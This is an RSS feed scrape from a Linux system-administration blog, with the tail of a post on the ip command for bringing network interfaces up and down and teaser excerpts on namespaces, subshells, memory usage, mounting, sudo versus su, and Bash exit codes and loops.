https://substackcdn.com/image/fetch/$s_!hjed!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 848w, https://substackcdn.com/image/fetch/$s_!hjed!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 1272w, https://substackcdn.com/image/fetch/$s_!hjed!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This shuts down packet transmission and reception on enp0s8 (notice the <strong>state</strong> is <strong>DOWN</strong>). It&#8217;s useful when testing configurations or disabling a specific connection without unplugging cables or removing devices.</p><p>After running it, the interface will no longer appear in <code>ip route show</code> outputs because it&#8217;s considered inactive by the kernel. The routing table only displays routes from active interfaces.</p><h3>Bringing an Interface Up</h3><p>When you bring an interface <em>up</em>, you&#8217;re telling the system that the device should start transmitting and receiving packets.</p><pre><code><code>$ sudo ip link set dev enp0s8 up</code></code></pre><p>This sends a netlink request that transitions the <code>enp0s8</code> interface to an <em>UP</em> state.</p><p>You can verify it:</p><pre><code><code>$ ip  -c link show enp0s8</code></code></pre><p>You should now see the <code>UP</code> flag and <code>state UP</code> in the output.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GdGO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GdGO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 424w, https://substackcdn.com/image/fetch/$s_!GdGO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 848w, https://substackcdn.com/image/fetch/$s_!GdGO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 1272w, https://substackcdn.com/image/fetch/$s_!GdGO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GdGO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png" width="1076" height="277" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:277,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:72193,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/178288655?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GdGO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 424w, https://substackcdn.com/image/fetch/$s_!GdGO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 848w, https://substackcdn.com/image/fetch/$s_!GdGO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 1272w, https://substackcdn.com/image/fetch/$s_!GdGO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>And also notice, the interface route is now showing in the routing table.</p><h3>Renaming Interfaces</h3><p>Linux lets you rename interfaces, which can be useful for creating clear and predictable names when working with multiple network connections or during troubleshooting.</p>
      <p>
          <a href="https://blog.sysxplore.com/p/ep1-networking-in-linux-ip-command">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Part 3: Containers Are Just Linux Processes]]></title><description><![CDATA[In the previous part, we explored how PID namespaces isolate process trees, allowing each container to have its own &#8220;init&#8221; process and private view of running processes.]]></description><link>https://blog.sysxplore.com/p/part-3-containers-are-just-linux</link><guid isPermaLink="false">https://blog.sysxplore.com/p/part-3-containers-are-just-linux</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Tue, 04 Nov 2025 16:58:49 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/4e9575fd-027e-44f6-95a8-b1114d4a78a5_876x626.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the previous part, we explored how PID namespaces isolate process trees, allowing each container to have its own &#8220;init&#8221; process and private view of running processes. Now that you understand how process isolation works at the kernel level, let&#8217;s zoom out for a moment.</p><p>Before moving on to network namespaces, it&#8217;s important to grasp a key concept: <strong>conta&#8230;</strong></p>
      <p>
          <a href="https://blog.sysxplore.com/p/part-3-containers-are-just-linux">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Part 2: Linux Namespaces - PID Namespaces ]]></title><description><![CDATA[Process Isolation]]></description><link>https://blog.sysxplore.com/p/part-2-linux-namespaces-pid-namespaces</link><guid isPermaLink="false">https://blog.sysxplore.com/p/part-2-linux-namespaces-pid-namespaces</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Sat, 01 Nov 2025 06:03:55 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c87d608e-8f30-4692-b18b-753ad5497039_876x626.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Welcome to the next part of our Linux Namespaces series.</p><p>In the previous part, we explored what Linux namespaces are, the different types available, and how they&#8217;re used by containers.</p><p>In this part, we&#8217;ll continue where we left off and take a closer look at one of the most fundamental namespace types, the <strong>PID namespace</strong>.</p><p>As you already know, every process r&#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/part-2-linux-namespaces-pid-namespaces">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Part 1: What Are Linux Namespaces]]></title><description><![CDATA[On a normal Linux system, everything seems to live in one big shared space.]]></description><link>https://blog.sysxplore.com/p/part-1-what-are-linux-namespaces</link><guid isPermaLink="false">https://blog.sysxplore.com/p/part-1-what-are-linux-namespaces</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Wed, 29 Oct 2025 18:38:27 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/10935fd9-78e8-453d-b9db-c149491b33ed_876x626.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On a normal Linux system, everything seems to live in one big shared space.</p><p>Every process can see the same list of running programs, share the same network interfaces, and access the same filesystem hierarchy. If you open two terminals and run <code>ps aux</code>, both will display an identical process list because, at the kernel level, there&#8217;s only one global view o&#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/part-1-what-are-linux-namespaces">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[What are Subshells in Linux]]></title><description><![CDATA[In Linux, every time you open a terminal, you start a shell, usually Bash or Zsh.]]></description><link>https://blog.sysxplore.com/p/what-are-subshells-in-linux</link><guid isPermaLink="false">https://blog.sysxplore.com/p/what-are-subshells-in-linux</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Mon, 27 Oct 2025 18:06:01 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/33a1b29f-2c34-48a5-8afe-efc177a11976_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In Linux, every time you open a terminal, you start a shell,  usually Bash or Zsh. But what happens when you run a command inside parentheses, like this?</p><pre><code><code>$ (pwd; ls)</code></code></pre><p>You&#8217;ve just created a <em>subshell</em>,  a new child shell that runs your commands in isolation from the parent. Subshells are one of those shell concepts that quietly do a lot behind the scenes in B&#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/what-are-subshells-in-linux">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[How to Accurately Check Memory Consumption of a Process in Linux]]></title><description><![CDATA[When your Linux system starts feeling sluggish or running out of memory, one of the first things you&#8217;ll want to check is which processes are consuming the most RAM.]]></description><link>https://blog.sysxplore.com/p/how-to-accurately-check-process-memory-usage-in-linux</link><guid isPermaLink="false">https://blog.sysxplore.com/p/how-to-accurately-check-process-memory-usage-in-linux</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Sat, 25 Oct 2025 18:46:16 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/8f70e940-3540-4142-add8-e4f8118724c5_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When your Linux system starts feeling sluggish or running out of memory, one of the first things you&#8217;ll want to check is which processes are consuming the most RAM. Tools like <code>ps</code> and <code>top</code> make this easy at a glance, but the numbers they show don&#8217;t always tell the full story.</p><p>A process might appear to use hundreds of megabytes of memory, yet in reality, a &#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/how-to-accurately-check-process-memory-usage-in-linux">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Mounting and Unmounting File Systems in Linux]]></title><description><![CDATA[Mounting and unmounting file systems are fundamental tasks in Linux.]]></description><link>https://blog.sysxplore.com/p/mounting-and-unmounting-file-systems</link><guid isPermaLink="false">https://blog.sysxplore.com/p/mounting-and-unmounting-file-systems</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Sat, 11 Oct 2025 16:44:43 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/858a4c41-7baa-4c0a-a4fc-4ccd4b89a736_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Mounting and unmounting file systems are some of the most practical tasks you&#8217;ll perform in Linux. Whenever you add a new drive or rearrange your storage, you&#8217;ll need to mount it before you can access its contents.</p><p>When you mount a file system, you&#8217;re essentially linking it to a specific directory so you can access its contents. Unmounting, on the other &#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/mounting-and-unmounting-file-systems">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Sudo vs. Su in Linux]]></title><description><![CDATA[sudo and su are commonly used to run command with root permissions.]]></description><link>https://blog.sysxplore.com/p/sudo-vs-su-in-linux</link><guid isPermaLink="false">https://blog.sysxplore.com/p/sudo-vs-su-in-linux</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Mon, 06 Oct 2025 16:42:41 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/02da55d5-1b36-4fd8-b088-0ad41d2a9c98_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>sudo and su are commonly used to run command with root permissions. Root privileges are required to perform certain tasks such as installing software, adding users and changing ownerships, etc. When a normal user requires administrative changes, you can use sudo or su command in Linux.</p><p>Here we learn about the differences between Sudo and Su and how to us&#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/sudo-vs-su-in-linux">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Bash 101 - Exit Status Code Indepth]]></title><description><![CDATA[When writing Bash scripts, you will frequently need to stop the execution of a script when a certain condition is met or perform some actions based on a command's exit code.]]></description><link>https://blog.sysxplore.com/p/bash-101-exit-status-code-indepth</link><guid isPermaLink="false">https://blog.sysxplore.com/p/bash-101-exit-status-code-indepth</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Fri, 08 Aug 2025 17:50:00 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/da24c1b1-de1d-40c6-9d11-d421f483cf32_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When writing Bash scripts, you will frequently need to stop the execution of a script when a certain condition is met or perform some actions based on a command's exit code.</p><p>In this article we will go over the built-in bash exit command as well as the exit status codes of the commands that have been executed.</p><h4><strong>BONUS</strong></h4><p>Stay tuned until the end of this guide for something special: a free copy of my<a href="http://bashhandbook.com/"> </a><em><a href="http://bashhandbook.com/">Bash Scripting Handbook</a></em>.</p><h2><strong>Exit Status Code</strong></h2><p>When a shell command exits, whether successfully without any errors or unsuccessfully with errors, it returns an exit code.<br><br>An exit code of zero indicates that the command was completed properly without any errors, while a non-zero indicates that an error occurred.</p><p>The $? is a special shell variable that stores the exit status of the most recently run command:</p><pre><code><code>cat manifesto.txt

echo $?</code></code></pre><pre><code><code># output

A Gentle reminder, I use Arch BTW!

0</code></code></pre><p>Because the cat command was completed successfully and without error, the exit code is zero, as expected.<br><br>If you attempt to run cat command on a not-existing file, the exit code will be non-zero as shown below:</p><pre><code><code>cat no-file

echo $?</code></code></pre><pre><code><code># output

cat: no-file: No such file or directory

1</code></code></pre><p>As expected, the exist status code is non-zero.</p><p>The exit status code of a command can be used for debugging and determining the reason for its failure. The man pages for each command provide information about the exit codes. When chaining commands using pipes, the exit status code is that of the last command in the chain.</p><p></p>
      <p>
          <a href="https://blog.sysxplore.com/p/bash-101-exit-status-code-indepth">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Bash 101: How to use for loops]]></title><description><![CDATA[Loops are one of the core building blocks in Bash scripting.]]></description><link>https://blog.sysxplore.com/p/bash-101-how-to-use-for-loops</link><guid isPermaLink="false">https://blog.sysxplore.com/p/bash-101-how-to-use-for-loops</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Fri, 25 Jul 2025 15:56:31 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c3e6bca2-1a39-4163-88b5-e54bb7926bf9_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Loops are one of the core building blocks in Bash scripting. They let you run a set of commands repeatedly, which is useful for anything from processing files in a directory to automating system tasks. Among the different types of loops, the <code>for</code> loop is one of the most commonly used. It lets you iterate over a sequence of values, such as numbers, string&#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/bash-101-how-to-use-for-loops">
              Read more
          </a>
      </p>
   ]]></content:encoded></item></channel></rss>